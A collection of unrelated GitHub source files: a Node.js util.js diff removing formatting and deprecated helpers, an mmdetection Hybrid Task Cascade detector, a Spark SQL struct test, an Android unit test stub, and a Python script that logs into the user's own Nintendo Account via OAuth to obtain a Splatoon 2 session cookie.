- keys = Object.getOwnPropertyNames(value);
- }
-
- // Some type of object without properties can be shortcutted.
- if (keys.length === 0) {
- if (isFunction(value)) {
- var name = value.name ? ': ' + value.name : '';
- return ctx.stylize('[Function' + name + ']', 'special');
- }
- if (isRegExp(value)) {
- return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp');
- }
- if (isDate(value)) {
- return ctx.stylize(Date.prototype.toString.call(value), 'date');
- }
- if (isError(value)) {
- return formatError(value);
- }
- }
-
- var base = '', array = false, braces = ['{', '}'];
-
- // Make Array say that they are Array
- if (isArray(value)) {
- array = true;
- braces = ['[', ']'];
- }
-
- // Make functions say that they are functions
- if (isFunction(value)) {
- var n = value.name ? ': ' + value.name : '';
- base = ' [Function' + n + ']';
- }
-
- // Make RegExps say that they are RegExps
- if (isRegExp(value)) {
- base = ' ' + RegExp.prototype.toString.call(value);
- }
-
- // Make dates with properties first say the date
- if (isDate(value)) {
- base = ' ' + Date.prototype.toUTCString.call(value);
- }
-
- // Make error with message first say the error
- if (isError(value)) {
- base = ' ' + formatError(value);
- }
-
- if (keys.length === 0 && (!array || value.length == 0)) {
- return braces[0] + base + braces[1];
- }
-
- if (recurseTimes < 0) {
- if (isRegExp(value)) {
- return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp');
- } else {
- return ctx.stylize('[Object]', 'special');
- }
- }
-
- ctx.seen.push(value);
-
- var output;
- if (array) {
- output = formatArray(ctx, value, recurseTimes, visibleKeys, keys);
- } else {
- output = keys.map(function(key) {
- return formatProperty(ctx, value, recurseTimes, visibleKeys, key, array);
- });
- }
-
- ctx.seen.pop();
-
- return reduceToSingleString(output, base, braces);
-}
-
-
-function formatPrimitive(ctx, value) {
- if (isUndefined(value))
- return ctx.stylize('undefined', 'undefined');
- if (isString(value)) {
- var simple = '\'' + JSON.stringify(value).replace(/^"|"$/g, '')
- .replace(/'/g, "\\'")
- .replace(/\\"/g, '"') + '\'';
- return ctx.stylize(simple, 'string');
- }
- if (isNumber(value)) {
- // Format -0 as '-0'. Strict equality won't distinguish 0 from -0,
- // so instead we use the fact that 1 / -0 < 0 whereas 1 / 0 > 0 .
- if (value === 0 && 1 / value < 0)
- return ctx.stylize('-0', 'number');
- return ctx.stylize('' + value, 'number');
- }
- if (isBoolean(value))
- return ctx.stylize('' + value, 'boolean');
- // For some reason typeof null is "object", so special case here.
- if (isNull(value))
- return ctx.stylize('null', 'null');
-}
-
-
-function formatError(value) {
- return '[' + Error.prototype.toString.call(value) + ']';
-}
-
-
-function formatArray(ctx, value, recurseTimes, visibleKeys, keys) {
- var output = [];
- for (var i = 0, l = value.length; i < l; ++i) {
- if (hasOwnProperty(value, String(i))) {
- output.push(formatProperty(ctx, value, recurseTimes, visibleKeys,
- String(i), true));
- } else {
- output.push('');
- }
- }
- keys.forEach(function(key) {
- if (!key.match(/^\d+$/)) {
- output.push(formatProperty(ctx, value, recurseTimes, visibleKeys,
- key, true));
- }
- });
- return output;
-}
-
-
-function formatProperty(ctx, value, recurseTimes, visibleKeys, key, array) {
- var name, str, desc;
- desc = Object.getOwnPropertyDescriptor(value, key) || { value: value[key] };
- if (desc.get) {
- if (desc.set) {
- str = ctx.stylize('[Getter/Setter]', 'special');
- } else {
- str = ctx.stylize('[Getter]', 'special');
- }
- } else {
- if (desc.set) {
- str = ctx.stylize('[Setter]', 'special');
- }
- }
- if (!hasOwnProperty(visibleKeys, key)) {
- name = '[' + key + ']';
- }
- if (!str) {
- if (ctx.seen.indexOf(desc.value) < 0) {
- if (isNull(recurseTimes)) {
- str = formatValue(ctx, desc.value, null);
- } else {
- str = formatValue(ctx, desc.value, recurseTimes - 1);
- }
- if (str.indexOf('\n') > -1) {
- if (array) {
- str = str.split('\n').map(function(line) {
- return ' ' + line;
- }).join('\n').substr(2);
- } else {
- str = '\n' + str.split('\n').map(function(line) {
- return ' ' + line;
- }).join('\n');
- }
- }
- } else {
- str = ctx.stylize('[Circular]', 'special');
- }
- }
- if (isUndefined(name)) {
- if (array && key.match(/^\d+$/)) {
- return str;
- }
- name = JSON.stringify('' + key);
- if (name.match(/^"([a-zA-Z_][a-zA-Z_0-9]*)"$/)) {
- name = name.substr(1, name.length - 2);
- name = ctx.stylize(name, 'name');
- } else {
- name = name.replace(/'/g, "\\'")
- .replace(/\\"/g, '"')
- .replace(/(^"|"$)/g, "'");
- name = ctx.stylize(name, 'string');
- }
- }
-
- return name + ': ' + str;
-}
-
-
-function reduceToSingleString(output, base, braces) {
- var numLinesEst = 0;
- var length = output.reduce(function(prev, cur) {
- numLinesEst++;
- if (cur.indexOf('\n') >= 0) numLinesEst++;
- return prev + cur.replace(/\u001b\[\d\d?m/g, '').length + 1;
- }, 0);
-
- if (length > 60) {
- return braces[0] +
- (base === '' ? '' : base + '\n ') +
- ' ' +
- output.join(',\n ') +
- ' ' +
- braces[1];
- }
-
- return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1];
-}
-
-
// NOTE: These type checking functions intentionally don't use `instanceof`
// because it is fragile and can be easily faked with `Object.create()`.
function isArray(ar) {
@@ -522,166 +98,10 @@ function isPrimitive(arg) {
exports.isPrimitive = isPrimitive;
function isBuffer(arg) {
- return arg instanceof Buffer;
+ return Buffer.isBuffer(arg);
}
exports.isBuffer = isBuffer;
function objectToString(o) {
return Object.prototype.toString.call(o);
-}
-
-
-function pad(n) {
- return n < 10 ? '0' + n.toString(10) : n.toString(10);
-}
-
-
-var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep',
- 'Oct', 'Nov', 'Dec'];
-
-// 26 Feb 16:19:34
-function timestamp() {
- var d = new Date();
- var time = [pad(d.getHours()),
- pad(d.getMinutes()),
- pad(d.getSeconds())].join(':');
- return [d.getDate(), months[d.getMonth()], time].join(' ');
-}
-
-
-// log is just a thin wrapper to console.log that prepends a timestamp
-exports.log = function() {
- console.log('%s - %s', timestamp(), exports.format.apply(exports, arguments));
-};
-
-
-/**
- * Inherit the prototype methods from one constructor into another.
- *
- * The Function.prototype.inherits from lang.js rewritten as a standalone
- * function (not on Function.prototype). NOTE: If this file is to be loaded
- * during bootstrapping this function needs to be rewritten using some native
- * functions as prototype setup using normal JavaScript does not work as
- * expected during bootstrapping (see mirror.js in r114903).
- *
- * @param {function} ctor Constructor function which needs to inherit the
- * prototype.
- * @param {function} superCtor Constructor function to inherit prototype from.
- */
-exports.inherits = function(ctor, superCtor) {
- ctor.super_ = superCtor;
- ctor.prototype = Object.create(superCtor.prototype, {
- constructor: {
- value: ctor,
- enumerable: false,
- writable: true,
- configurable: true
- }
- });
-};
-
-exports._extend = function(origin, add) {
- // Don't do anything if add isn't an object
- if (!add || !isObject(add)) return origin;
-
- var keys = Object.keys(add);
- var i = keys.length;
- while (i--) {
- origin[keys[i]] = add[keys[i]];
- }
- return origin;
-};
-
-function hasOwnProperty(obj, prop) {
- return Object.prototype.hasOwnProperty.call(obj, prop);
-}
-
-
-// Deprecated old stuff.
-
-exports.p = exports.deprecate(function() {
- for (var i = 0, len = arguments.length; i < len; ++i) {
- console.error(exports.inspect(arguments[i]));
- }
-}, 'util.p: Use console.error() instead');
-
-
-exports.exec = exports.deprecate(function() {
- return require('child_process').exec.apply(this, arguments);
-}, 'util.exec is now called `child_process.exec`.');
-
-
-exports.print = exports.deprecate(function() {
- for (var i = 0, len = arguments.length; i < len; ++i) {
- process.stdout.write(String(arguments[i]));
- }
-}, 'util.print: Use console.log instead');
-
-
-exports.puts = exports.deprecate(function() {
- for (var i = 0, len = arguments.length; i < len; ++i) {
- process.stdout.write(arguments[i] + '\n');
- }
-}, 'util.puts: Use console.log instead');
-
-
-exports.debug = exports.deprecate(function(x) {
- process.stderr.write('DEBUG: ' + x + '\n');
-}, 'util.debug: Use console.error instead');
-
-
-exports.error = exports.deprecate(function(x) {
- for (var i = 0, len = arguments.length; i < len; ++i) {
- process.stderr.write(arguments[i] + '\n');
- }
-}, 'util.error: Use console.error instead');
-
-
-exports.pump = exports.deprecate(function(readStream, writeStream, callback) {
- var callbackCalled = false;
-
- function call(a, b, c) {
- if (callback && !callbackCalled) {
- callback(a, b, c);
- callbackCalled = true;
- }
- }
-
- readStream.addListener('data', function(chunk) {
- if (writeStream.write(chunk) === false) readStream.pause();
- });
-
- writeStream.addListener('drain', function() {
- readStream.resume();
- });
-
- readStream.addListener('end', function() {
- writeStream.end();
- });
-
- readStream.addListener('close', function() {
- call();
- });
-
- readStream.addListener('error', function(err) {
- writeStream.end();
- call(err);
- });
-
- writeStream.addListener('error', function(err) {
- readStream.destroy();
- call(err);
- });
-}, 'util.pump(): Use readableStream.pipe() instead');
-
-
-var uv;
-exports._errnoException = function(err, syscall) {
- if (isUndefined(uv)) uv = process.binding('uv');
- var errname = uv.errname(err);
- var e = new Error(syscall + ' ' + errname);
- e.code = errname;
- e.errno = errname;
- e.syscall = syscall;
- return e;
-};
+} | {
"pile_set_name": "Github"
} |
import torch
import torch.nn.functional as F
from mmdet.core import (bbox2result, build_assigner, build_sampler,
bbox_mapping)
from mmdet.core import (bbox2roi, merge_aug_masks, merge_aug_bboxes, multiclass_nms)
from .cascade_rcnn import CascadeRCNN
from .test_mixins import RPNTestMixin
from .. import builder
from ..registry import DETECTORS
@DETECTORS.register_module
class HybridTaskCascade(CascadeRCNN, RPNTestMixin):
def __init__(self,
num_stages,
backbone,
semantic_roi_extractor=None,
semantic_head=None,
semantic_fusion=('bbox', 'mask'),
interleaved=True,
mask_info_flow=True,
**kwargs):
super(HybridTaskCascade, self).__init__(num_stages, backbone, **kwargs)
assert self.with_bbox and self.with_mask
assert not self.with_shared_head # shared head not supported
if semantic_head is not None:
self.semantic_roi_extractor = builder.build_roi_extractor(
semantic_roi_extractor)
self.semantic_head = builder.build_head(semantic_head)
self.semantic_fusion = semantic_fusion
self.interleaved = interleaved
self.mask_info_flow = mask_info_flow
@property
def with_semantic(self):
if hasattr(self, 'semantic_head') and self.semantic_head is not None:
return True
else:
return False
def _bbox_forward_train(self,
stage,
x,
sampling_results,
gt_bboxes,
gt_labels,
rcnn_train_cfg,
semantic_feat=None):
rois = bbox2roi([res.bboxes for res in sampling_results])
bbox_roi_extractor = self.bbox_roi_extractor[stage]
bbox_head = self.bbox_head[stage]
bbox_feats = bbox_roi_extractor(x[:bbox_roi_extractor.num_inputs],
rois)
# semantic feature fusion
# element-wise sum for original features and pooled semantic features
if self.with_semantic and 'bbox' in self.semantic_fusion:
bbox_semantic_feat = self.semantic_roi_extractor([semantic_feat],
rois)
if bbox_semantic_feat.shape[-2:] != bbox_feats.shape[-2:]:
bbox_semantic_feat = F.adaptive_avg_pool2d(
bbox_semantic_feat, bbox_feats.shape[-2:])
bbox_feats += bbox_semantic_feat
cls_score, bbox_pred = bbox_head(bbox_feats)
bbox_targets = bbox_head.get_target(sampling_results, gt_bboxes,
gt_labels, rcnn_train_cfg)
loss_bbox = bbox_head.loss(cls_score, bbox_pred, *bbox_targets)
return loss_bbox, rois, bbox_targets, bbox_pred
def _mask_forward_train(self,
stage,
x,
sampling_results,
gt_masks,
rcnn_train_cfg,
semantic_feat=None):
mask_roi_extractor = self.mask_roi_extractor[stage]
mask_head = self.mask_head[stage]
pos_rois = bbox2roi([res.pos_bboxes for res in sampling_results])
mask_feats = mask_roi_extractor(x[:mask_roi_extractor.num_inputs],
pos_rois)
# semantic feature fusion
# element-wise sum for original features and pooled semantic features
if self.with_semantic and 'mask' in self.semantic_fusion:
mask_semantic_feat = self.semantic_roi_extractor([semantic_feat],
pos_rois)
if mask_semantic_feat.shape[-2:] != mask_feats.shape[-2:]:
mask_semantic_feat = F.adaptive_avg_pool2d(
mask_semantic_feat, mask_feats.shape[-2:])
mask_feats += mask_semantic_feat
# mask information flow
# forward all previous mask heads to obtain last_feat, and fuse it
# with the normal mask feature
if self.mask_info_flow:
last_feat = None
for i in range(stage):
last_feat = self.mask_head[i](
mask_feats, last_feat, return_logits=False)
mask_pred = mask_head(mask_feats, last_feat, return_feat=False)
else:
mask_pred = mask_head(mask_feats)
mask_targets = mask_head.get_target(sampling_results, gt_masks,
rcnn_train_cfg)
pos_labels = torch.cat([res.pos_gt_labels for res in sampling_results])
loss_mask = mask_head.loss(mask_pred, mask_targets, pos_labels)
return loss_mask
def _bbox_forward_test(self, stage, x, rois, semantic_feat=None):
bbox_roi_extractor = self.bbox_roi_extractor[stage]
bbox_head = self.bbox_head[stage]
bbox_feats = bbox_roi_extractor(
x[:len(bbox_roi_extractor.featmap_strides)], rois)
if self.with_semantic and 'bbox' in self.semantic_fusion:
bbox_semantic_feat = self.semantic_roi_extractor([semantic_feat],
rois)
if bbox_semantic_feat.shape[-2:] != bbox_feats.shape[-2:]:
bbox_semantic_feat = F.adaptive_avg_pool2d(
bbox_semantic_feat, bbox_feats.shape[-2:])
bbox_feats += bbox_semantic_feat
cls_score, bbox_pred = bbox_head(bbox_feats)
return cls_score, bbox_pred
def _mask_forward_test(self, stage, x, bboxes, semantic_feat=None):
mask_roi_extractor = self.mask_roi_extractor[stage]
mask_head = self.mask_head[stage]
mask_rois = bbox2roi([bboxes])
mask_feats = mask_roi_extractor(
x[:len(mask_roi_extractor.featmap_strides)], mask_rois)
if self.with_semantic and 'mask' in self.semantic_fusion:
mask_semantic_feat = self.semantic_roi_extractor([semantic_feat],
mask_rois)
if mask_semantic_feat.shape[-2:] != mask_feats.shape[-2:]:
mask_semantic_feat = F.adaptive_avg_pool2d(
mask_semantic_feat, mask_feats.shape[-2:])
mask_feats += mask_semantic_feat
if self.mask_info_flow:
last_feat = None
last_pred = None
for i in range(stage):
mask_pred, last_feat = self.mask_head[i](mask_feats, last_feat)
if last_pred is not None:
mask_pred = mask_pred + last_pred
last_pred = mask_pred
mask_pred = mask_head(mask_feats, last_feat, return_feat=False)
if last_pred is not None:
mask_pred = mask_pred + last_pred
else:
mask_pred = mask_head(mask_feats)
return mask_pred
def forward_train(self,
img,
img_meta,
gt_bboxes,
gt_labels,
gt_bboxes_ignore=None,
gt_masks=None,
gt_semantic_seg=None,
proposals=None):
x = self.extract_feat(img)
losses = dict()
# RPN part, the same as normal two-stage detectors
if self.with_rpn:
rpn_outs = self.rpn_head(x)
rpn_loss_inputs = rpn_outs + (gt_bboxes, img_meta,
self.train_cfg.rpn)
rpn_losses = self.rpn_head.loss(
*rpn_loss_inputs, gt_bboxes_ignore=gt_bboxes_ignore)
losses.update(rpn_losses)
proposal_cfg = self.train_cfg.get('rpn_proposal',
self.test_cfg.rpn)
proposal_inputs = rpn_outs + (img_meta, proposal_cfg)
proposal_list = self.rpn_head.get_bboxes(*proposal_inputs)
else:
proposal_list = proposals
# semantic segmentation part
# 2 outputs: segmentation prediction and embedded features
if self.with_semantic:
semantic_pred, semantic_feat = self.semantic_head(x)
loss_seg = self.semantic_head.loss(semantic_pred, gt_semantic_seg)
losses['loss_semantic_seg'] = loss_seg
else:
semantic_feat = None
for i in range(self.num_stages):
self.current_stage = i
rcnn_train_cfg = self.train_cfg.rcnn[i]
lw = self.train_cfg.stage_loss_weights[i]
# assign gts and sample proposals
sampling_results = []
bbox_assigner = build_assigner(rcnn_train_cfg.assigner)
bbox_sampler = build_sampler(rcnn_train_cfg.sampler, context=self)
num_imgs = img.size(0)
if gt_bboxes_ignore is None:
gt_bboxes_ignore = [None for _ in range(num_imgs)]
for j in range(num_imgs):
assign_result = bbox_assigner.assign(
proposal_list[j], gt_bboxes[j], gt_bboxes_ignore[j],
gt_labels[j])
sampling_result = bbox_sampler.sample(
assign_result,
proposal_list[j],
gt_bboxes[j],
gt_labels[j],
feats=[lvl_feat[j][None] for lvl_feat in x])
sampling_results.append(sampling_result)
# bbox head forward and loss
loss_bbox, rois, bbox_targets, bbox_pred = \
self._bbox_forward_train(
i, x, sampling_results, gt_bboxes, gt_labels,
rcnn_train_cfg, semantic_feat)
roi_labels = bbox_targets[0]
for name, value in loss_bbox.items():
losses['s{}.{}'.format(
i, name)] = (value * lw if 'loss' in name else value)
# mask head forward and loss
if self.with_mask:
# interleaved execution: use regressed bboxes by the box branch
# to train the mask branch
if self.interleaved:
pos_is_gts = [res.pos_is_gt for res in sampling_results]
with torch.no_grad():
proposal_list = self.bbox_head[i].refine_bboxes(
rois, roi_labels, bbox_pred, pos_is_gts, img_meta)
# re-assign and sample 512 RoIs from 512 RoIs
sampling_results = []
for j in range(num_imgs):
assign_result = bbox_assigner.assign(
proposal_list[j], gt_bboxes[j],
gt_bboxes_ignore[j], gt_labels[j])
sampling_result = bbox_sampler.sample(
assign_result,
proposal_list[j],
gt_bboxes[j],
gt_labels[j],
feats=[lvl_feat[j][None] for lvl_feat in x])
sampling_results.append(sampling_result)
loss_mask = self._mask_forward_train(i, x, sampling_results,
gt_masks, rcnn_train_cfg,
semantic_feat)
for name, value in loss_mask.items():
losses['s{}.{}'.format(
i, name)] = (value * lw if 'loss' in name else value)
# refine bboxes (same as Cascade R-CNN)
if i < self.num_stages - 1 and not self.interleaved:
pos_is_gts = [res.pos_is_gt for res in sampling_results]
with torch.no_grad():
proposal_list = self.bbox_head[i].refine_bboxes(
rois, roi_labels, bbox_pred, pos_is_gts, img_meta)
return losses
def simple_test(self, img, img_meta, proposals=None, rescale=False):
x = self.extract_feat(img)
proposal_list = self.simple_test_rpn(
x, img_meta, self.test_cfg.rpn) if proposals is None else proposals
if self.with_semantic:
_, semantic_feat = self.semantic_head(x)
else:
semantic_feat = None
img_shape = img_meta[0]['img_shape']
ori_shape = img_meta[0]['ori_shape']
scale_factor = img_meta[0]['scale_factor']
# "ms" in variable names means multi-stage
ms_bbox_result = {}
ms_segm_result = {}
ms_scores = []
rcnn_test_cfg = self.test_cfg.rcnn
rois = bbox2roi(proposal_list)
for i in range(self.num_stages):
bbox_head = self.bbox_head[i]
cls_score, bbox_pred = self._bbox_forward_test(
i, x, rois, semantic_feat=semantic_feat)
ms_scores.append(cls_score)
if self.test_cfg.keep_all_stages:
det_bboxes, det_labels = bbox_head.get_det_bboxes(
rois,
cls_score,
bbox_pred,
img_shape,
scale_factor,
rescale=rescale,
nms_cfg=rcnn_test_cfg)
bbox_result = bbox2result(det_bboxes, det_labels,
bbox_head.num_classes)
ms_bbox_result['stage{}'.format(i)] = bbox_result
if self.with_mask:
mask_head = self.mask_head[i]
if det_bboxes.shape[0] == 0:
segm_result = [
[] for _ in range(mask_head.num_classes - 1)
]
else:
_bboxes = (det_bboxes[:, :4] * scale_factor
if rescale else det_bboxes)
mask_pred = self._mask_forward_test(
i, x, _bboxes, semantic_feat=semantic_feat)
segm_result = mask_head.get_seg_masks(
mask_pred, _bboxes, det_labels, rcnn_test_cfg,
ori_shape, scale_factor, rescale)
ms_segm_result['stage{}'.format(i)] = segm_result
if i < self.num_stages - 1:
bbox_label = cls_score.argmax(dim=1)
rois = bbox_head.regress_by_class(rois, bbox_label, bbox_pred,
img_meta[0])
cls_score = sum(ms_scores) / float(len(ms_scores))
det_bboxes, det_labels = self.bbox_head[-1].get_det_bboxes(
rois,
cls_score,
bbox_pred,
img_shape,
scale_factor,
rescale=rescale,
cfg=rcnn_test_cfg)
bbox_result = bbox2result(det_bboxes, det_labels,
self.bbox_head[-1].num_classes)
ms_bbox_result['ensemble'] = bbox_result
if self.with_mask:
if det_bboxes.shape[0] == 0:
segm_result = [
[] for _ in range(self.mask_head[-1].num_classes - 1)
]
else:
_bboxes = (det_bboxes[:, :4] * scale_factor
if rescale else det_bboxes)
mask_rois = bbox2roi([_bboxes])
aug_masks = []
mask_roi_extractor = self.mask_roi_extractor[-1]
mask_feats = mask_roi_extractor(
x[:len(mask_roi_extractor.featmap_strides)], mask_rois)
if self.with_semantic and 'mask' in self.semantic_fusion:
mask_semantic_feat = self.semantic_roi_extractor(
[semantic_feat], mask_rois)
mask_feats += mask_semantic_feat
last_feat = None
for i in range(self.num_stages):
mask_head = self.mask_head[i]
if self.mask_info_flow:
mask_pred, last_feat = mask_head(mask_feats, last_feat)
else:
mask_pred = mask_head(mask_feats)
aug_masks.append(mask_pred.sigmoid().cpu().numpy())
merged_masks = merge_aug_masks(aug_masks,
[img_meta] * self.num_stages,
self.test_cfg.rcnn)
segm_result = self.mask_head[-1].get_seg_masks(
merged_masks, _bboxes, det_labels, rcnn_test_cfg,
ori_shape, scale_factor, rescale)
ms_segm_result['ensemble'] = segm_result
if not self.test_cfg.keep_all_stages:
if self.with_mask:
results = (ms_bbox_result['ensemble'],
ms_segm_result['ensemble'])
else:
results = ms_bbox_result['ensemble']
else:
if self.with_mask:
results = {
stage: (ms_bbox_result[stage], ms_segm_result[stage])
for stage in ms_bbox_result
}
else:
results = ms_bbox_result
return results
def aug_test(self, imgs, img_metas, proposals=None, rescale=False):
"""Test with augmentations.
If rescale is False, then returned bboxes and masks will fit the scale
of imgs[0].
"""
# recompute feats to save memory
proposal_list = self.aug_test_rpn(
self.extract_feats(imgs), img_metas, self.test_cfg.rpn)
rcnn_test_cfg = self.test_cfg.rcnn
aug_bboxes = []
aug_scores = []
for x, img_meta in zip(self.extract_feats(imgs), img_metas):
# only one image in the batch
img_shape = img_meta[0]['img_shape']
scale_factor = img_meta[0]['scale_factor']
flip = img_meta[0]['flip']
proposals = bbox_mapping(proposal_list[0][:, :4], img_shape,
scale_factor, flip)
# "ms" in variable names means multi-stage
ms_scores = []
rois = bbox2roi([proposals])
for i in range(self.num_stages):
bbox_head = self.bbox_head[i]
cls_score, bbox_pred = self._bbox_forward_test(i, x, rois)
ms_scores.append(cls_score)
if i < self.num_stages - 1:
bbox_label = cls_score.argmax(dim=1)
rois = bbox_head.regress_by_class(rois, bbox_label, bbox_pred,
img_meta[0])
cls_score = sum(ms_scores) / float(len(ms_scores))
bboxes, scores = self.bbox_head[-1].get_det_bboxes(
rois,
cls_score,
bbox_pred,
img_shape,
scale_factor,
rescale=False,
cfg=None)
aug_bboxes.append(bboxes)
aug_scores.append(scores)
# after merging, bboxes will be rescaled to the original image size
merged_bboxes, merged_scores = merge_aug_bboxes(
aug_bboxes, aug_scores, img_metas, rcnn_test_cfg)
det_bboxes, det_labels = multiclass_nms(
merged_bboxes, merged_scores, rcnn_test_cfg.score_thr,
rcnn_test_cfg.nms, rcnn_test_cfg.max_per_img)
bbox_result = bbox2result(det_bboxes, det_labels,
self.bbox_head[-1].num_classes)
if self.with_mask:
if det_bboxes.shape[0] == 0:
segm_result = [[] for _ in range(self.mask_head[-1].num_classes - 1)]
else:
aug_masks = []
aug_img_metas = []
for x, img_meta in zip(self.extract_feats(imgs), img_metas):
img_shape = img_meta[0]['img_shape']
scale_factor = img_meta[0]['scale_factor']
flip = img_meta[0]['flip']
_bboxes = bbox_mapping(det_bboxes[:, :4], img_shape,
scale_factor, flip)
mask_rois = bbox2roi([_bboxes])
mask_roi_extractor = self.mask_roi_extractor[-1]
mask_feats = mask_roi_extractor(
x[:len(mask_roi_extractor.featmap_strides)],
mask_rois)
last_feat = None
for i in range(self.num_stages):
mask_head = self.mask_head[i]
if self.mask_info_flow:
mask_pred, last_feat = mask_head(mask_feats, last_feat)
else:
mask_pred = mask_head(mask_feats)
aug_masks.append(mask_pred.sigmoid().cpu().numpy())
aug_img_metas.append(img_meta)
merged_masks = merge_aug_masks(aug_masks, aug_img_metas,
self.test_cfg.rcnn)
ori_shape = img_metas[0][0]['ori_shape']
segm_result = self.mask_head[-1].get_seg_masks(
merged_masks, det_bboxes, det_labels, rcnn_test_cfg,
ori_shape, scale_factor=1.0, rescale=False)
return bbox_result, segm_result
else:
return bbox_result
| {
"pile_set_name": "Github"
} |
CREATE TEMPORARY VIEW tbl_x AS VALUES
(1, NAMED_STRUCT('C', 'gamma', 'D', 'delta')),
(2, NAMED_STRUCT('C', 'epsilon', 'D', 'eta')),
(3, NAMED_STRUCT('C', 'theta', 'D', 'iota'))
AS T(ID, ST);
-- Create a struct
SELECT STRUCT('alpha', 'beta') ST;
-- Create a struct with aliases
SELECT STRUCT('alpha' AS A, 'beta' AS B) ST;
-- Star expansion in a struct.
SELECT ID, STRUCT(ST.*) NST FROM tbl_x;
-- Append a column to a struct
SELECT ID, STRUCT(ST.*,CAST(ID AS STRING) AS E) NST FROM tbl_x;
-- Prepend a column to a struct
SELECT ID, STRUCT(CAST(ID AS STRING) AS AA, ST.*) NST FROM tbl_x;
-- Select a column from a struct
SELECT ID, STRUCT(ST.*).C NST FROM tbl_x;
SELECT ID, STRUCT(ST.C, ST.D).D NST FROM tbl_x;
-- Select an alias from a struct
SELECT ID, STRUCT(ST.C as STC, ST.D as STD).STD FROM tbl_x; | {
"pile_set_name": "Github"
} |
package com.gykj.zhumulangma.discover;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
public class ExampleUnitTest {
@Test
public void addition_isCorrect() {
assertEquals(4, 2 + 2);
}
} | {
"pile_set_name": "Github"
} |
# eli fessler
# clovervidia
from __future__ import print_function
from builtins import input
import requests, json, re, sys
import os, base64, hashlib
import uuid, time, random, string
session = requests.Session()
version = "unknown"
# place config.txt in same directory as script (bundled or not)
if getattr(sys, 'frozen', False):
app_path = os.path.dirname(sys.executable)
elif __file__:
app_path = os.path.dirname(__file__)
config_path = os.path.join(app_path, "config.txt")
def log_in(ver):
'''Logs in to a Nintendo Account and returns a session_token.'''
global version
version = ver
auth_state = base64.urlsafe_b64encode(os.urandom(36))
auth_code_verifier = base64.urlsafe_b64encode(os.urandom(32))
auth_cv_hash = hashlib.sha256()
auth_cv_hash.update(auth_code_verifier.replace(b"=", b""))
auth_code_challenge = base64.urlsafe_b64encode(auth_cv_hash.digest())
app_head = {
'Host': 'accounts.nintendo.com',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Linux; Android 7.1.2; Pixel Build/NJH47D; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8n',
'DNT': '1',
'Accept-Encoding': 'gzip,deflate,br',
}
body = {
'state': auth_state,
'redirect_uri': 'npf71b963c1b7b6d119://auth',
'client_id': '71b963c1b7b6d119',
'scope': 'openid user user.birthday user.mii user.screenName',
'response_type': 'session_token_code',
'session_token_code_challenge': auth_code_challenge.replace(b"=", b""),
'session_token_code_challenge_method': 'S256',
'theme': 'login_form'
}
url = 'https://accounts.nintendo.com/connect/1.0.0/authorize'
r = session.get(url, headers=app_head, params=body)
post_login = r.history[0].url
print("\nMake sure you have fully read the \"Cookie generation\" section of the readme before proceeding. To manually input a cookie instead, enter \"skip\" at the prompt below.")
print("\nNavigate to this URL in your browser:")
print(post_login)
print("Log in, right click the \"Select this account\" button, copy the link address, and paste it below:")
while True:
try:
use_account_url = input("")
if use_account_url == "skip":
return "skip"
session_token_code = re.search('de=(.*)&', use_account_url)
return get_session_token(session_token_code.group(1), auth_code_verifier)
except KeyboardInterrupt:
print("\nBye!")
sys.exit(1)
except AttributeError:
print("Malformed URL. Please try again, or press Ctrl+C to exit.")
print("URL:", end=' ')
except KeyError: # session_token not found
print("\nThe URL has expired. Please log out and back into your Nintendo Account and try again.")
sys.exit(1)
def get_session_token(session_token_code, auth_code_verifier):
'''Helper function for log_in().'''
app_head = {
'User-Agent': 'OnlineLounge/1.9.0 NASDKAPI Android',
'Accept-Language': 'en-US',
'Accept': 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '540',
'Host': 'accounts.nintendo.com',
'Connection': 'Keep-Alive',
'Accept-Encoding': 'gzip'
}
body = {
'client_id': '71b963c1b7b6d119',
'session_token_code': session_token_code,
'session_token_code_verifier': auth_code_verifier.replace(b"=", b"")
}
url = 'https://accounts.nintendo.com/connect/1.0.0/api/session_token'
r = session.post(url, headers=app_head, data=body)
return json.loads(r.text)["session_token"]
def get_cookie(session_token, userLang, ver):
'''Returns a new cookie provided the session_token.'''
global version
version = ver
timestamp = int(time.time())
guid = str(uuid.uuid4())
app_head = {
'Host': 'accounts.nintendo.com',
'Accept-Encoding': 'gzip',
'Content-Type': 'application/json; charset=utf-8',
'Accept-Language': userLang,
'Content-Length': '439',
'Accept': 'application/json',
'Connection': 'Keep-Alive',
'User-Agent': 'OnlineLounge/1.9.0 NASDKAPI Android'
}
body = {
'client_id': '71b963c1b7b6d119', # Splatoon 2 service
'session_token': session_token,
'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer-session-token'
}
url = "https://accounts.nintendo.com/connect/1.0.0/api/token"
r = requests.post(url, headers=app_head, json=body)
id_response = json.loads(r.text)
# get user info
try:
app_head = {
'User-Agent': 'OnlineLounge/1.9.0 NASDKAPI Android',
'Accept-Language': userLang,
'Accept': 'application/json',
'Authorization': 'Bearer {}'.format(id_response["access_token"]),
'Host': 'api.accounts.nintendo.com',
'Connection': 'Keep-Alive',
'Accept-Encoding': 'gzip'
}
except:
print("Not a valid authorization request. Please delete config.txt and try again.")
print("Error from Nintendo (in api/token step):")
print(json.dumps(id_response, indent=2))
sys.exit(1)
url = "https://api.accounts.nintendo.com/2.0.0/users/me"
r = requests.get(url, headers=app_head)
user_info = json.loads(r.text)
nickname = user_info["nickname"]
# get access token
app_head = {
'Host': 'api-lp1.znc.srv.nintendo.net',
'Accept-Language': userLang,
'User-Agent': 'com.nintendo.znca/1.9.0 (Android/7.1.2)',
'Accept': 'application/json',
'X-ProductVersion': '1.9.0',
'Content-Type': 'application/json; charset=utf-8',
'Connection': 'Keep-Alive',
'Authorization': 'Bearer',
# 'Content-Length': '1036',
'X-Platform': 'Android',
'Accept-Encoding': 'gzip'
}
